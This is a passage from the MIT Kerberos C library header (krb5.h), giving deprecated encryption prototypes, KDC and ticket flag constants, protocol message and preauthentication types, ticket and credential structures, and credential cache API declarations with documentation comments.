space for the * result. * * @note This function is similar to krb5_c_prf(), but operates * on opaque @a key. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_k_prf(krb5_context context, krb5_key key, krb5_data *input, krb5_data *output); #ifdef KRB5_OLD_CRYPTO /* * old cryptosystem routine prototypes. These are now layered * on top of the functions above. */ /** @deprecated Replaced by krb5_c_* API family.*/ krb5_error_code KRB5_CALLCONV krb5_encrypt(krb5_context context, krb5_const_pointer inptr, krb5_pointer outptr, size_t size, krb5_encrypt_block *eblock, krb5_pointer ivec); /** @deprecated Replaced by krb5_c_* API family. */ krb5_error_code KRB5_CALLCONV krb5_decrypt(krb5_context context, krb5_const_pointer inptr, krb5_pointer outptr, size_t size, krb5_encrypt_block *eblock, krb5_pointer ivec); /** @deprecated Replaced by krb5_c_* API family. */ krb5_error_code KRB5_CALLCONV krb5_process_key(krb5_context context, krb5_encrypt_block *eblock, const krb5_keyblock * key); /** @deprecated Replaced by krb5_c_* API family. */ krb5_error_code KRB5_CALLCONV krb5_finish_key(krb5_context context, krb5_encrypt_block * eblock); /** @deprecated See krb5_c_string_to_key() */ krb5_error_code KRB5_CALLCONV krb5_string_to_key(krb5_context context, const krb5_encrypt_block *eblock, krb5_keyblock * keyblock, const krb5_data *data, const krb5_data *salt); /** @deprecated Replaced by krb5_c_* API family. */ krb5_error_code KRB5_CALLCONV krb5_init_random_key(krb5_context context, const krb5_encrypt_block *eblock, const krb5_keyblock *keyblock, krb5_pointer *ptr); /** @deprecated Replaced by krb5_c_* API family. */ krb5_error_code KRB5_CALLCONV krb5_finish_random_key(krb5_context context, const krb5_encrypt_block *eblock, krb5_pointer *ptr); /** @deprecated Replaced by krb5_c_* API family. */ krb5_error_code KRB5_CALLCONV krb5_random_key(krb5_context context, const krb5_encrypt_block *eblock, krb5_pointer ptr, krb5_keyblock **keyblock); /** @deprecated Replaced by krb5_c_* API family. */ krb5_enctype KRB5_CALLCONV krb5_eblock_enctype(krb5_context context, const krb5_encrypt_block *eblock); /** @deprecated Replaced by krb5_c_* API family. */ krb5_error_code KRB5_CALLCONV krb5_use_enctype(krb5_context context, krb5_encrypt_block *eblock, krb5_enctype enctype); /** @deprecated Replaced by krb5_c_* API family. */ size_t KRB5_CALLCONV krb5_encrypt_size(size_t length, krb5_enctype crypto); /** @deprecated See krb5_c_checksum_length() */ size_t KRB5_CALLCONV krb5_checksum_size(krb5_context context, krb5_cksumtype ctype); /** @deprecated See krb5_c_make_checksum() */ krb5_error_code KRB5_CALLCONV krb5_calculate_checksum(krb5_context context, krb5_cksumtype ctype, krb5_const_pointer in, size_t in_length, krb5_const_pointer seed, size_t seed_length, krb5_checksum * outcksum); /** @deprecated See krb5_c_verify_checksum() */ krb5_error_code KRB5_CALLCONV krb5_verify_checksum(krb5_context context, krb5_cksumtype ctype, const krb5_checksum * cksum, krb5_const_pointer in, size_t in_length, krb5_const_pointer seed, size_t seed_length); #endif /* KRB5_OLD_CRYPTO */ /* * end "encryption.h" */ /* * begin "fieldbits.h" */ /* kdc_options for kdc_request */ /* options is 32 bits; each host is responsible to put the 4 bytes representing these bits into net order before transmission */ /* #define KDC_OPT_RESERVED 0x80000000 */ #define KDC_OPT_FORWARDABLE 0x40000000 #define KDC_OPT_FORWARDED 0x20000000 #define KDC_OPT_PROXIABLE 0x10000000 #define KDC_OPT_PROXY 0x08000000 #define KDC_OPT_ALLOW_POSTDATE 0x04000000 #define KDC_OPT_POSTDATED 0x02000000 /* #define KDC_OPT_UNUSED 0x01000000 */ #define KDC_OPT_RENEWABLE 0x00800000 /* #define KDC_OPT_UNUSED 0x00400000 */ /* #define KDC_OPT_RESERVED 0x00200000 */ /* #define KDC_OPT_RESERVED 0x00100000 */ /* #define KDC_OPT_RESERVED 0x00080000 */ /* #define KDC_OPT_RESERVED 0x00040000 */ #define KDC_OPT_CNAME_IN_ADDL_TKT 0x00020000 #define KDC_OPT_CANONICALIZE 0x00010000 #define KDC_OPT_REQUEST_ANONYMOUS 0x00008000 /* #define KDC_OPT_RESERVED 0x00004000 */ /* #define KDC_OPT_RESERVED 0x00002000 */ /* #define KDC_OPT_RESERVED 0x00001000 */ /* #define KDC_OPT_RESERVED 0x00000800 */ /* #define KDC_OPT_RESERVED 0x00000400 */ /* #define KDC_OPT_RESERVED 0x00000200 */ /* #define KDC_OPT_RESERVED 0x00000100 */ /* #define KDC_OPT_RESERVED 0x00000080 */ /* #define KDC_OPT_RESERVED 0x00000040 */ #define KDC_OPT_DISABLE_TRANSITED_CHECK 0x00000020 #define KDC_OPT_RENEWABLE_OK 0x00000010 #define KDC_OPT_ENC_TKT_IN_SKEY 0x00000008 /* #define KDC_OPT_UNUSED 0x00000004 */ #define KDC_OPT_RENEW 0x00000002 #define KDC_OPT_VALIDATE 0x00000001 /* * Mask of ticket flags in the TGT which should be converted into KDC * options when using the TGT to get derivative tickets. * * New mask = KDC_OPT_FORWARDABLE | KDC_OPT_PROXIABLE | * KDC_OPT_ALLOW_POSTDATE | KDC_OPT_RENEWABLE */ #define KDC_TKT_COMMON_MASK 0x54800000 /* definitions for ap_options fields */ /** @defgroup AP_OPTS AP_OPTS * * ap_options are 32 bits; each host is responsible to put the 4 bytes * representing these bits into net order before transmission * @{ */ #define AP_OPTS_RESERVED 0x80000000 #define AP_OPTS_USE_SESSION_KEY 0x40000000 /**< Use session key */ #define AP_OPTS_MUTUAL_REQUIRED 0x20000000 /**< Perform a mutual authentication exchange */ #define AP_OPTS_ETYPE_NEGOTIATION 0x00000002 #define AP_OPTS_USE_SUBKEY 0x00000001 /**< Generate a subsession key from the current session key obtained from the credentials */ /* #define AP_OPTS_RESERVED 0x10000000 */ /* #define AP_OPTS_RESERVED 0x08000000 */ /* #define AP_OPTS_RESERVED 0x04000000 */ /* #define AP_OPTS_RESERVED 0x02000000 */ /* #define AP_OPTS_RESERVED 0x01000000 */ /* #define AP_OPTS_RESERVED 0x00800000 */ /* #define AP_OPTS_RESERVED 0x00400000 */ /* #define AP_OPTS_RESERVED 0x00200000 */ /* #define AP_OPTS_RESERVED 0x00100000 */ /* #define AP_OPTS_RESERVED 0x00080000 */ /* #define AP_OPTS_RESERVED 0x00040000 */ /* #define AP_OPTS_RESERVED 0x00020000 */ /* #define AP_OPTS_RESERVED 0x00010000 */ /* #define AP_OPTS_RESERVED 0x00008000 */ /* #define AP_OPTS_RESERVED 0x00004000 */ /* #define AP_OPTS_RESERVED 0x00002000 */ /* #define AP_OPTS_RESERVED 0x00001000 */ /* #define AP_OPTS_RESERVED 0x00000800 */ /* #define AP_OPTS_RESERVED 0x00000400 */ /* #define AP_OPTS_RESERVED 0x00000200 */ /* #define AP_OPTS_RESERVED 0x00000100 */ /* #define AP_OPTS_RESERVED 0x00000080 */ /* #define AP_OPTS_RESERVED 0x00000040 */ /* #define AP_OPTS_RESERVED 0x00000020 */ /* #define AP_OPTS_RESERVED 0x00000010 */ /* #define AP_OPTS_RESERVED 0x00000008 */ /* #define AP_OPTS_RESERVED 0x00000004 */ #define AP_OPTS_WIRE_MASK 0xfffffff0 /** @} */ /* end of AP_OPTS group */ /* definitions for ad_type fields. */ #define AD_TYPE_RESERVED 0x8000 #define AD_TYPE_EXTERNAL 0x4000 #define AD_TYPE_REGISTERED 0x2000 #define AD_TYPE_FIELD_TYPE_MASK 0x1fff /* Ticket flags */ /* flags are 32 bits; each host is responsible to put the 4 bytes representing these bits into net order before transmission */ /* #define TKT_FLG_RESERVED 0x80000000 */ #define TKT_FLG_FORWARDABLE 0x40000000 #define TKT_FLG_FORWARDED 0x20000000 #define TKT_FLG_PROXIABLE 0x10000000 #define TKT_FLG_PROXY 0x08000000 #define TKT_FLG_MAY_POSTDATE 0x04000000 #define TKT_FLG_POSTDATED 0x02000000 #define TKT_FLG_INVALID 0x01000000 #define TKT_FLG_RENEWABLE 0x00800000 #define TKT_FLG_INITIAL 0x00400000 #define TKT_FLG_PRE_AUTH 0x00200000 #define TKT_FLG_HW_AUTH 0x00100000 #define TKT_FLG_TRANSIT_POLICY_CHECKED 0x00080000 #define TKT_FLG_OK_AS_DELEGATE 0x00040000 #define TKT_FLG_ENC_PA_REP 0x00010000 #define TKT_FLG_ANONYMOUS 0x00008000 /* #define TKT_FLG_RESERVED 0x00004000 */ /* #define TKT_FLG_RESERVED 0x00002000 */ /* #define TKT_FLG_RESERVED 0x00001000 */ /* #define TKT_FLG_RESERVED 0x00000800 */ /* #define TKT_FLG_RESERVED 0x00000400 */ /* #define TKT_FLG_RESERVED 0x00000200 */ /* #define TKT_FLG_RESERVED 0x00000100 */ /* #define TKT_FLG_RESERVED 0x00000080 */ /* #define TKT_FLG_RESERVED 0x00000040 */ /* #define TKT_FLG_RESERVED 0x00000020 */ /* #define TKT_FLG_RESERVED 0x00000010 */ /* #define TKT_FLG_RESERVED 0x00000008 */ /* #define TKT_FLG_RESERVED 0x00000004 */ /* #define TKT_FLG_RESERVED 0x00000002 */ /* #define TKT_FLG_RESERVED 0x00000001 */ /* definitions for lr_type fields. */ #define LR_TYPE_THIS_SERVER_ONLY 0x8000 #define LR_TYPE_INTERPRETATION_MASK 0x7fff /* definitions for msec direction bit for KRB_SAFE, KRB_PRIV */ #define MSEC_DIRBIT 0x8000 #define MSEC_VAL_MASK 0x7fff /* * end "fieldbits.h" */ /* * begin "proto.h" */ /** Protocol version number */ #define KRB5_PVNO 5 /* Message types */ #define KRB5_AS_REQ ((krb5_msgtype)10) /**< Initial authentication request */ #define KRB5_AS_REP ((krb5_msgtype)11) /**< Response to AS request */ #define KRB5_TGS_REQ ((krb5_msgtype)12) /**< Ticket granting server request */ #define KRB5_TGS_REP ((krb5_msgtype)13) /**< Response to TGS request */ #define KRB5_AP_REQ ((krb5_msgtype)14) /**< Auth req to application server */ #define KRB5_AP_REP ((krb5_msgtype)15) /**< Response to mutual AP request */ #define KRB5_SAFE ((krb5_msgtype)20) /**< Safe application message */ #define KRB5_PRIV ((krb5_msgtype)21) /**< Private application message */ #define KRB5_CRED ((krb5_msgtype)22) /**< Cred forwarding message */ #define KRB5_ERROR ((krb5_msgtype)30) /**< Error response */ /* LastReq types */ #define KRB5_LRQ_NONE 0 #define KRB5_LRQ_ALL_LAST_TGT 1 #define KRB5_LRQ_ONE_LAST_TGT (-1) #define KRB5_LRQ_ALL_LAST_INITIAL 2 #define KRB5_LRQ_ONE_LAST_INITIAL (-2) #define KRB5_LRQ_ALL_LAST_TGT_ISSUED 3 #define KRB5_LRQ_ONE_LAST_TGT_ISSUED (-3) #define KRB5_LRQ_ALL_LAST_RENEWAL 4 #define KRB5_LRQ_ONE_LAST_RENEWAL (-4) #define KRB5_LRQ_ALL_LAST_REQ 5 #define KRB5_LRQ_ONE_LAST_REQ (-5) #define KRB5_LRQ_ALL_PW_EXPTIME 6 #define KRB5_LRQ_ONE_PW_EXPTIME (-6) #define KRB5_LRQ_ALL_ACCT_EXPTIME 7 #define KRB5_LRQ_ONE_ACCT_EXPTIME (-7) /* PADATA types */ #define KRB5_PADATA_NONE 0 #define KRB5_PADATA_AP_REQ 1 #define KRB5_PADATA_TGS_REQ KRB5_PADATA_AP_REQ #define KRB5_PADATA_ENC_TIMESTAMP 2 /**< RFC 4120 */ #define KRB5_PADATA_PW_SALT 3 /**< RFC 4120 */ #if 0 /* Not used */ #define KRB5_PADATA_ENC_ENCKEY 4 /* Key encrypted within itself */ #endif #define KRB5_PADATA_ENC_UNIX_TIME 5 /**< timestamp encrypted in key. RFC 4120 */ #define KRB5_PADATA_ENC_SANDIA_SECURID 6 /**< SecurId passcode. RFC 4120 */ #define KRB5_PADATA_SESAME 7 /**< Sesame project. RFC 4120 */ #define KRB5_PADATA_OSF_DCE 8 /**< OSF DCE. RFC 4120 */ #define KRB5_CYBERSAFE_SECUREID 9 /**< Cybersafe. RFC 4120 */ #define KRB5_PADATA_AFS3_SALT 10 /**< Cygnus. RFC 4120, 3961 */ #define KRB5_PADATA_ETYPE_INFO 11 /**< Etype info for preauth. RFC 4120 */ #define KRB5_PADATA_SAM_CHALLENGE 12 /**< SAM/OTP */ #define KRB5_PADATA_SAM_RESPONSE 13 /**< SAM/OTP */ #define KRB5_PADATA_PK_AS_REQ_OLD 14 /**< PKINIT */ #define KRB5_PADATA_PK_AS_REP_OLD 15 /**< PKINIT */ #define KRB5_PADATA_PK_AS_REQ 16 /**< PKINIT. RFC 4556 */ #define KRB5_PADATA_PK_AS_REP 17 /**< PKINIT. RFC 4556 */ #define KRB5_PADATA_ETYPE_INFO2 19 /**< RFC 4120 */ #define KRB5_PADATA_USE_SPECIFIED_KVNO 20 /**< RFC 4120 */ #define KRB5_PADATA_SVR_REFERRAL_INFO 20 /**< Windows 2000 referrals. RFC 6820 */ #define KRB5_PADATA_SAM_REDIRECT 21 /**< SAM/OTP. RFC 4120 */ #define KRB5_PADATA_GET_FROM_TYPED_DATA 22 /**< Embedded in typed data. RFC 4120 */ #define KRB5_PADATA_REFERRAL 25 /**< draft referral system */ #define KRB5_PADATA_SAM_CHALLENGE_2 30 /**< draft challenge system, updated */ #define KRB5_PADATA_SAM_RESPONSE_2 31 /**< draft challenge system, updated */ /* MS-KILE */ #define KRB5_PADATA_PAC_REQUEST 128 /**< include Windows PAC */ #define KRB5_PADATA_FOR_USER 129 /**< username protocol transition request */ #define KRB5_PADATA_S4U_X509_USER 130 /**< certificate protocol transition request */ #define KRB5_PADATA_AS_CHECKSUM 132 /**< AS checksum */ #define KRB5_PADATA_FX_COOKIE 133 /**< RFC 6113 */ #define KRB5_PADATA_FX_FAST 136 /**< RFC 6113 */ #define KRB5_PADATA_FX_ERROR 137 /**< RFC 6113 */ #define KRB5_PADATA_ENCRYPTED_CHALLENGE 138 /**< RFC 6113 */ #define KRB5_PADATA_OTP_CHALLENGE 141 /**< RFC 6560 section 4.1 */ #define KRB5_PADATA_OTP_REQUEST 142 /**< RFC 6560 section 4.2 */ #define KRB5_PADATA_OTP_PIN_CHANGE 144 /**< RFC 6560 section 4.3 */ #define KRB5_PADATA_PKINIT_KX 147 /**< RFC 6112 */ #define KRB5_ENCPADATA_REQ_ENC_PA_REP 149 /**< RFC 6806 */ #define KRB5_PADATA_AS_FRESHNESS 150 /**< RFC 8070 */ #define KRB5_PADATA_SPAKE 151 #define KRB5_PADATA_PAC_OPTIONS 167 /**< MS-KILE and MS-SFU */ #define KRB5_SAM_USE_SAD_AS_KEY 0x80000000 #define KRB5_SAM_SEND_ENCRYPTED_SAD 0x40000000 #define KRB5_SAM_MUST_PK_ENCRYPT_SAD 0x20000000 /**< currently must be zero */ /** Transited encoding types */ #define KRB5_DOMAIN_X500_COMPRESS 1 /** alternate authentication types */ #define KRB5_ALTAUTH_ATT_CHALLENGE_RESPONSE 64 /* authorization data types. See RFC 4120 section 5.2.6 */ /** @defgroup KRB5_AUTHDATA KRB5_AUTHDATA * @{ */ #define KRB5_AUTHDATA_IF_RELEVANT 1 #define KRB5_AUTHDATA_KDC_ISSUED 4 #define KRB5_AUTHDATA_AND_OR 5 #define KRB5_AUTHDATA_MANDATORY_FOR_KDC 8 #define KRB5_AUTHDATA_INITIAL_VERIFIED_CAS 9 #define KRB5_AUTHDATA_OSF_DCE 64 #define KRB5_AUTHDATA_SESAME 65 #define KRB5_AUTHDATA_CAMMAC 96 #define KRB5_AUTHDATA_WIN2K_PAC 128 #define KRB5_AUTHDATA_ETYPE_NEGOTIATION 129 /**< RFC 4537 */ #define KRB5_AUTHDATA_SIGNTICKET 512 /**< @deprecated use PAC */ #define KRB5_AUTHDATA_FX_ARMOR 71 #define KRB5_AUTHDATA_AUTH_INDICATOR 97 #define KRB5_AUTHDATA_AP_OPTIONS 143 /** @} */ /* end of KRB5_AUTHDATA group */ /* password change constants */ #define KRB5_KPASSWD_SUCCESS 0 /**< Success */ #define KRB5_KPASSWD_MALFORMED 1 /**< Malformed request */ #define KRB5_KPASSWD_HARDERROR 2 /**< Server error */ #define KRB5_KPASSWD_AUTHERROR 3 /**< Authentication error */ #define KRB5_KPASSWD_SOFTERROR 4 /**< Password change rejected */ /* These are Microsoft's extensions in RFC 3244, and it looks like they'll become standardized, possibly with other additions. */ #define KRB5_KPASSWD_ACCESSDENIED 5 /**< Not authorized */ #define KRB5_KPASSWD_BAD_VERSION 6 /**< Unknown RPC version */ /** The presented credentials were not obtained using a password directly */ #define KRB5_KPASSWD_INITIAL_FLAG_NEEDED 7 /* * end "proto.h" */ /* Time set */ /** Ticket start time, end time, and renewal duration. */ typedef struct _krb5_ticket_times { krb5_timestamp authtime; /**< Time at which KDC issued the initial ticket that corresponds to this ticket */ /* XXX ? should ktime in KDC_REP == authtime in ticket? otherwise client can't get this */ krb5_timestamp starttime; /**< optional in ticket, if not present, use @a authtime */ krb5_timestamp endtime; /**< Ticket expiration time */ krb5_timestamp renew_till; /**< Latest time at which renewal of ticket can be valid */ } krb5_ticket_times; /** Structure for auth data */ typedef struct _krb5_authdata { krb5_magic magic; krb5_authdatatype ad_type; /**< ADTYPE */ unsigned int length; /**< Length of data */ krb5_octet *contents; /**< Data */ } krb5_authdata; /** Structure for transited encoding */ typedef struct _krb5_transited { krb5_magic magic; krb5_octet tr_type; /**< Transited encoding type */ krb5_data tr_contents; /**< Contents */ } krb5_transited; /** Encrypted part of ticket. */ typedef struct _krb5_enc_tkt_part { krb5_magic magic; /* to-be-encrypted portion */ krb5_flags flags; /**< flags */ krb5_keyblock *session; /**< session key: includes enctype */ krb5_principal client; /**< client name/realm */ krb5_transited transited; /**< list of transited realms */ krb5_ticket_times times; /**< auth, start, end, renew_till */ krb5_address **caddrs; /**< array of ptrs to addresses */ krb5_authdata **authorization_data; /**< auth data */ } krb5_enc_tkt_part; /** * Ticket structure. * * The C representation of the ticket message, with a pointer to the * C representation of the encrypted part. */ typedef struct _krb5_ticket { krb5_magic magic; /* cleartext portion */ krb5_principal server; /**< server name/realm */ krb5_enc_data enc_part; /**< encryption type, kvno, encrypted encoding */ krb5_enc_tkt_part *enc_part2; /**< ptr to decrypted version, if available */ } krb5_ticket; /* the unencrypted version */ /** * Ticket authenticator. * * The C representation of an unencrypted authenticator. */ typedef struct _krb5_authenticator { krb5_magic magic; krb5_principal client; /**< client name/realm */ krb5_checksum *checksum; /**< checksum, includes type, optional */ krb5_int32 cusec; /**< client usec portion */ krb5_timestamp ctime; /**< client sec portion */ krb5_keyblock *subkey; /**< true session key, optional */ krb5_ui_4 seq_number; /**< sequence #, optional */ krb5_authdata **authorization_data; /**< authoriazation data */ } krb5_authenticator; /** Ticket authentication data. */ typedef struct _krb5_tkt_authent { krb5_magic magic; krb5_ticket *ticket; krb5_authenticator *authenticator; krb5_flags ap_options; } krb5_tkt_authent; /** Credentials structure including ticket, session key, and lifetime info. */ typedef struct _krb5_creds { krb5_magic magic; krb5_principal client; /**< client's principal identifier */ krb5_principal server; /**< server's principal identifier */ krb5_keyblock keyblock; /**< session encryption key info */ krb5_ticket_times times; /**< lifetime info */ krb5_boolean is_skey; /**< true if ticket is encrypted in another ticket's skey */ krb5_flags ticket_flags; /**< flags in ticket */ krb5_address **addresses; /**< addrs in ticket */ krb5_data ticket; /**< ticket string itself */ krb5_data second_ticket; /**< second ticket, if related to ticket (via DUPLICATE-SKEY or ENC-TKT-IN-SKEY) */ krb5_authdata **authdata; /**< authorization data */ } krb5_creds; /** Last request entry */ typedef struct _krb5_last_req_entry { krb5_magic magic; krb5_int32 lr_type; /**< LR type */ krb5_timestamp value; /**< Timestamp */ } krb5_last_req_entry; /** Pre-authentication data */ typedef struct _krb5_pa_data { krb5_magic magic; krb5_preauthtype pa_type; /**< Preauthentication data type */ unsigned int length; /**< Length of data */ krb5_octet *contents; /**< Data */ } krb5_pa_data; /* Don't use this; use krb5_pa_data instead. */ typedef struct _krb5_typed_data { krb5_magic magic; krb5_int32 type; unsigned int length; krb5_octet *data; } krb5_typed_data; /** C representation of KDC-REQ protocol message, including KDC-REQ-BODY */ typedef struct _krb5_kdc_req { krb5_magic magic; krb5_msgtype msg_type; /**< KRB5_AS_REQ or KRB5_TGS_REQ */ krb5_pa_data **padata; /**< Preauthentication data */ /* real body */ krb5_flags kdc_options; /**< Requested options */ krb5_principal client; /**< Client principal and realm */ krb5_principal server; /**< Server principal and realm */ krb5_timestamp from; /**< Requested start time */ krb5_timestamp till; /**< Requested end time */ krb5_timestamp rtime; /**< Requested renewable end time */ krb5_int32 nonce; /**< Nonce to match request and response */ int nktypes; /**< Number of enctypes */ krb5_enctype *ktype; /**< Requested enctypes */ krb5_address **addresses; /**< Requested addresses (optional) */ krb5_enc_data authorization_data; /**< Encrypted authz data (optional) */ krb5_authdata **unenc_authdata; /**< Unencrypted authz data */ krb5_ticket **second_ticket; /**< Second ticket array (optional) */ } krb5_kdc_req; /** * C representation of @c EncKDCRepPart protocol message. * * This is the cleartext message that is encrypted and inserted in @c KDC-REP. */ typedef struct _krb5_enc_kdc_rep_part { krb5_magic magic; /* encrypted part: */ krb5_msgtype msg_type; /**< krb5 message type */ krb5_keyblock *session; /**< Session key */ krb5_last_req_entry **last_req; /**< Array of pointers to entries */ krb5_int32 nonce; /**< Nonce from request */ krb5_timestamp key_exp; /**< Expiration date */ krb5_flags flags; /**< Ticket flags */ krb5_ticket_times times; /**< Lifetime info */ krb5_principal server; /**< Server's principal identifier */ krb5_address **caddrs; /**< Array of ptrs to addrs, optional */ krb5_pa_data **enc_padata; /**< Encrypted preauthentication data */ } krb5_enc_kdc_rep_part; /** Representation of the @c KDC-REP protocol message. */ typedef struct _krb5_kdc_rep { krb5_magic magic; /* cleartext part: */ krb5_msgtype msg_type; /**< KRB5_AS_REP or KRB5_KDC_REP */ krb5_pa_data **padata; /**< Preauthentication data from KDC */ krb5_principal client; /**< Client principal and realm */ krb5_ticket *ticket; /**< Ticket */ krb5_enc_data enc_part; /**< Encrypted part of reply */ krb5_enc_kdc_rep_part *enc_part2; /**< Unencrypted version, if available */ } krb5_kdc_rep; /** Error message structure */ typedef struct _krb5_error { krb5_magic magic; /* some of these may be meaningless in certain contexts */ krb5_timestamp ctime; /**< Client sec portion; optional */ krb5_int32 cusec; /**< Client usec portion; optional */ krb5_int32 susec; /**< Server usec portion */ krb5_timestamp stime; /**< Server sec portion */ krb5_ui_4 error; /**< Error code (protocol error #'s) */ krb5_principal client; /**< Client principal and realm */ krb5_principal server; /**< Server principal and realm */ krb5_data text; /**< Descriptive text */ krb5_data e_data; /**< Additional error-describing data */ } krb5_error; /** Authentication header. */ typedef struct _krb5_ap_req { krb5_magic magic; krb5_flags ap_options; /**< Requested options */ krb5_ticket *ticket; /**< Ticket */ krb5_enc_data authenticator; /**< Encrypted authenticator */ } krb5_ap_req; /** * C representaton of AP-REP message. * * The server's response to a client's request for mutual authentication. */ typedef struct _krb5_ap_rep { krb5_magic magic; krb5_enc_data enc_part; /**< Ciphertext of ApRepEncPart */ } krb5_ap_rep; /** Cleartext that is encrypted and put into @c _krb5_ap_rep. */ typedef struct _krb5_ap_rep_enc_part { krb5_magic magic; krb5_timestamp ctime; /**< Client time, seconds portion */ krb5_int32 cusec; /**< Client time, microseconds portion */ krb5_keyblock *subkey; /**< Subkey (optional) */ krb5_ui_4 seq_number; /**< Sequence number */ } krb5_ap_rep_enc_part; /* Unused */ typedef struct _krb5_response { krb5_magic magic; krb5_octet message_type; krb5_data response; krb5_int32 expected_nonce; krb5_timestamp request_time; } krb5_response; /** Credentials information inserted into @c EncKrbCredPart. */ typedef struct _krb5_cred_info { krb5_magic magic; krb5_keyblock *session; /**< Session key used to encrypt ticket */ krb5_principal client; /**< Client principal and realm */ krb5_principal server; /**< Server principal and realm */ krb5_flags flags; /**< Ticket flags */ krb5_ticket_times times; /**< Auth, start, end, renew_till */ krb5_address **caddrs; /**< Array of pointers to addrs (optional) */ } krb5_cred_info; /** Cleartext credentials information. */ typedef struct _krb5_cred_enc_part { krb5_magic magic; krb5_int32 nonce; /**< Nonce (optional) */ krb5_timestamp timestamp; /**< Generation time, seconds portion */ krb5_int32 usec; /**< Generation time, microseconds portion */ krb5_address *s_address; /**< Sender address (optional) */ krb5_address *r_address; /**< Recipient address (optional) */ krb5_cred_info **ticket_info; } krb5_cred_enc_part; /** Credentials data structure.*/ typedef struct _krb5_cred { krb5_magic magic; krb5_ticket **tickets; /**< Tickets */ krb5_enc_data enc_part; /**< Encrypted part */ krb5_cred_enc_part *enc_part2; /**< Unencrypted version, if available */ } krb5_cred; /* Unused, but here for API compatibility. */ typedef struct _passwd_phrase_element { krb5_magic magic; krb5_data *passwd; krb5_data *phrase; } passwd_phrase_element; /* Unused, but here for API compatibility. */ typedef struct _krb5_pwd_data { krb5_magic magic; int sequence_count; passwd_phrase_element **element; } krb5_pwd_data; /* Unused, but here for API compatibility. */ typedef struct _krb5_pa_svr_referral_data { /** Referred name, only realm is required */ krb5_principal principal; } krb5_pa_svr_referral_data; /* Unused, but here for API compatibility. */ typedef struct _krb5_pa_server_referral_data { krb5_data *referred_realm; krb5_principal true_principal_name; krb5_principal requested_principal_name; krb5_timestamp referral_valid_until; krb5_checksum rep_cksum; } krb5_pa_server_referral_data; typedef struct _krb5_pa_pac_req { /** TRUE if a PAC should be included in TGS-REP */ krb5_boolean include_pac; } krb5_pa_pac_req; /* * begin "safepriv.h" */ /** @defgroup KRB5_AUTH_CONTEXT KRB5_AUTH_CONTEXT * @{ */ /** Prevent replays with timestamps and replay cache. */ #define KRB5_AUTH_CONTEXT_DO_TIME 0x00000001 /** Save timestamps for application. */ #define KRB5_AUTH_CONTEXT_RET_TIME 0x00000002 /** Prevent replays with sequence numbers. */ #define KRB5_AUTH_CONTEXT_DO_SEQUENCE 0x00000004 /** Save sequence numbers for application. */ #define KRB5_AUTH_CONTEXT_RET_SEQUENCE 0x00000008 #define KRB5_AUTH_CONTEXT_PERMIT_ALL 0x00000010 #define KRB5_AUTH_CONTEXT_USE_SUBKEY 0x00000020 /** @} */ /* end of KRB5_AUTH_CONTEXT group */ /** * Replay data. * * Sequence number and timestamp information output by krb5_rd_priv() and * krb5_rd_safe(). */ typedef struct krb5_replay_data { krb5_timestamp timestamp; /**< Timestamp, seconds portion */ krb5_int32 usec; /**< Timestamp, microseconds portion */ krb5_ui_4 seq; /**< Sequence number */ } krb5_replay_data; /* Flags for krb5_auth_con_genaddrs(). */ /** Generate the local network address. */ #define KRB5_AUTH_CONTEXT_GENERATE_LOCAL_ADDR 0x00000001 /** Generate the remote network address. */ #define KRB5_AUTH_CONTEXT_GENERATE_REMOTE_ADDR 0x00000002 /** Generate the local network address and the local port. */ #define KRB5_AUTH_CONTEXT_GENERATE_LOCAL_FULL_ADDR 0x00000004 /** Generate the remote network address and the remote port. */ #define KRB5_AUTH_CONTEXT_GENERATE_REMOTE_FULL_ADDR 0x00000008 /** Type of function used as a callback to generate checksum data for mk_req */ typedef krb5_error_code (KRB5_CALLCONV * krb5_mk_req_checksum_func)(krb5_context, krb5_auth_context, void *, krb5_data **); /* * end "safepriv.h" */ /* * begin "ccache.h" */ /** Cursor for sequential lookup */ typedef krb5_pointer krb5_cc_cursor; struct _krb5_ccache; typedef struct _krb5_ccache *krb5_ccache; struct _krb5_cc_ops; typedef struct _krb5_cc_ops krb5_cc_ops; struct _krb5_cccol_cursor; /** Cursor for iterating over all ccaches */ typedef struct _krb5_cccol_cursor *krb5_cccol_cursor; /* Flags for krb5_cc_retrieve_cred. */ /** The requested lifetime must be at least as great as the time specified. */ #define KRB5_TC_MATCH_TIMES 0x00000001 /** The is_skey field must match exactly. */ #define KRB5_TC_MATCH_IS_SKEY 0x00000002 /** All the flags set in the match credentials must be set. */ #define KRB5_TC_MATCH_FLAGS 0x00000004 /** All the time fields must match exactly. */ #define KRB5_TC_MATCH_TIMES_EXACT 0x00000008 /** All the flags must match exactly. */ #define KRB5_TC_MATCH_FLAGS_EXACT 0x00000010 /** The authorization data must match. */ #define KRB5_TC_MATCH_AUTHDATA 0x00000020 /** Only the name portion of the principal name must match. */ #define KRB5_TC_MATCH_SRV_NAMEONLY 0x00000040 /** The second ticket must match. */ #define KRB5_TC_MATCH_2ND_TKT 0x00000080 /** The encryption key type must match. */ #define KRB5_TC_MATCH_KTYPE 0x00000100 /** The supported key types must match. */ #define KRB5_TC_SUPPORTED_KTYPES 0x00000200 /* Flags for krb5_cc_set_flags and similar. */ /** Open and close the file for each cache operation. */ #define KRB5_TC_OPENCLOSE 0x00000001 /**< @deprecated has no effect */ #define KRB5_TC_NOTICKET 0x00000002 /** * Retrieve the name, but not type of a credential cache. * * @param [in] context Library context * @param [in] cache Credential cache handle * * @warning Returns the name of the credential cache. The result is an alias * into @a cache and should not be freed or modified by the caller. This name * does not include the cache type, so should not be used as input to * krb5_cc_resolve(). * * @return * On success - the name of the credential cache. */ const char * KRB5_CALLCONV krb5_cc_get_name(krb5_context context, krb5_ccache cache); /** * Retrieve the full name of a credential cache. * * @param [in] context Library context * @param [in] cache Credential cache handle * @param [out] fullname_out Full name of cache * * Use krb5_free_string() to free @a fullname_out when it is no longer needed. * * @version New in 1.10 */ krb5_error_code KRB5_CALLCONV krb5_cc_get_full_name(krb5_context context, krb5_ccache cache, char **fullname_out); #if KRB5_DEPRECATED krb5_error_code KRB5_CALLCONV krb5_cc_gen_new(krb5_context context, krb5_ccache *cache); #endif /* KRB5_DEPRECATED */ /** * Initialize a credential cache. * * @param [in] context Library context * @param [in] cache Credential cache handle * @param [in] principal Default principal name * * Destroy any existing contents of @a cache and initialize it for the default * principal @a principal. * * @retval * 0 Success * @return * System errors; Permission errors; Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_cc_initialize(krb5_context context, krb5_ccache cache, krb5_principal principal); /** * Destroy a credential cache. * * @param [in] context Library context * @param [in] cache Credential cache handle 